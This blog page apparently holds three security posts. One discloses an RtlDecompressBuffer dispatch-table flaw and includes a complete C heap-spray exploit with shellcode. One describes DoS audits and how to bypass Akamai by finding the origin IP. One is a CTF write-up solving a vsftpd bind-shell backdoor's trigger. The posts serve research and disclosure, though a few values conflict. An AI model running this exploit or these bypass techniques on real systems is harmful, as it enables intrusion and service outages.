domingo, noviembre 13, 2016

RtlDecompresBuffer vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:





int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector

This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

miércoles, octubre 12, 2016

Vulcan DoS vs Akamai

In the past I had to do several DoS security audits, with múltiples types of tests and intensities. Sometimes several DDoS protections were present like Akamai for static content, and Arbor for absorb part of the bandwith.

One consideration for the DoS/DDoS tools is that probably it will loss the control of the attacker host, and the tool at least has to be able to stop automatically with a timeout, but can also implement remote response checks.

In order to size the minimum mbps needed to flood a service or to retard the response in a significant amount of time, the attacker hosts need a bandwith limiter, that increments in a logarithmic way up to a limit agreed with the customer/isp/cpd.

There are DoS tools that doesn't have this timeouts, and bandwith limit based on mbps, for that reason I have to implement a LD_PRELOAD based solution: bwcontrol

Although there are several good tools for stressing web servers and web aplications like apache ab, or other common tools used for pen-testing, but I also wrote a fast web flooder in c++ named wflood.

As expected the most effective for taking down the web server are the slow-loris, slow-read and derivatives, few host were needed to DoS an online banking. 
Remote attacks to database and highly dynamic web content were discarded, that could be impacted for sure.

I did another tool in c++ for crafting massive tcp/udp/ip malformed packets, that impacted sometimes on load balancers and firewalls, it was vulcan, it freezed even the firewall client software.

The funny thing was that the common attacks against Akamai hosts, where ineffective, and so does the slow-loris family of attacks, because are common, and the Akamai nginx webservers are well tunned. But when tried vulcan, few intensity was enough to crash Akamai hosts.

Another attack vector for static sites was trying to locate the IP of the customer instead of Akamai, if the customer doesn't use the Akamai Shadow service, it's possible to perform a HTTP Host header scan, and direct the attack to that host bypassing Akamai.

And what about Arbor protection? is good for reducing the flood but there are other kind of attacks, and this protection use to be disabled by default and in local holidays can be a mess.

domingo, octubre 09, 2016

vsftpd backdoor - ekoparty prectf - amn3s1a team

It's a 32bits elf binary of some version of vsftpd, where it have been added a backdoor, they don't specify is an authentication backdoor, a special command or other stuff.

I started looking for something weird on the authentication routines, but I didn't found anything significant in a brief period of time, so I decided to do a bindiff, that was the key for locating the backdoor quickly. I do a quick diff of the strings with the command "strings bin | sort -u" and "vimdiff" and noticed that the backdoored binary has the symbol "execl" which is weird because is a call for executing elfs, don't needed for a ftp service, and weird that the compiled binary doesn't has that symbol.





Looking the xrefs of "execl" on IDA I found that code that is a clear backdoor, it create a socket, bind a port and duplicate the stdin, stdout and stderr to the socket and use the execl:



There are one xrefs to this function, the function that decides when trigger that is that kind of systems equations decision:


The backdoor was not on the authentication, it was a special command to trigger the backdoor, which is obfuscated on that systems equation, it was no needed to use a z3 equation solver because is a simple one and I did it by hand.



The equation:
cmd[0] = 69
cmd[1] = 78
cmd[1] + cmd[2] = 154
cmd[2] + cmd[3] = 202
cmd[3] + cmd[4] = 241
cmd[4] + cmd[5] = 233
cmd[5] + cmd[6] = 217
cmd[6] + cmd[7] = 218
cmd[7] + cmd[8] = 228
cmd[8] + cmd[9] = 212
cmd[9] + cmd[10] = 195
cmd[10] + cmd[11] = 195
cmd[11] + cmd[12] = 201
cmd[12] + cmd[13] = 207
cmd[13] + cmd[14] = 203
cmd[14] + cmd[15] = 215
cmd[15] + cmd[16] = 235
cmd[16] + cmd[17] = 242

The solution:
cmd[0] = 69
cmd[1] = 75
cmd[2] = 79
cmd[3] = 123
cmd[4] = 118
cmd[5] = 115
cmd[6] = 102
cmd[7] = 116
cmd[8] = 112
cmd[9] = 100
cmd[10] = 95
cmd[11] = 100
cmd[12] = 101
cmd[13] = 106
cmd[14] = 97                    
cmd[15] = 118
cmd[16] = 117
cmd[17] = 125


The flag:
EKO{vsftpd_dejavu}

The binary:
https://ctf.ekoparty.org/static/pre-ekoparty/backdoor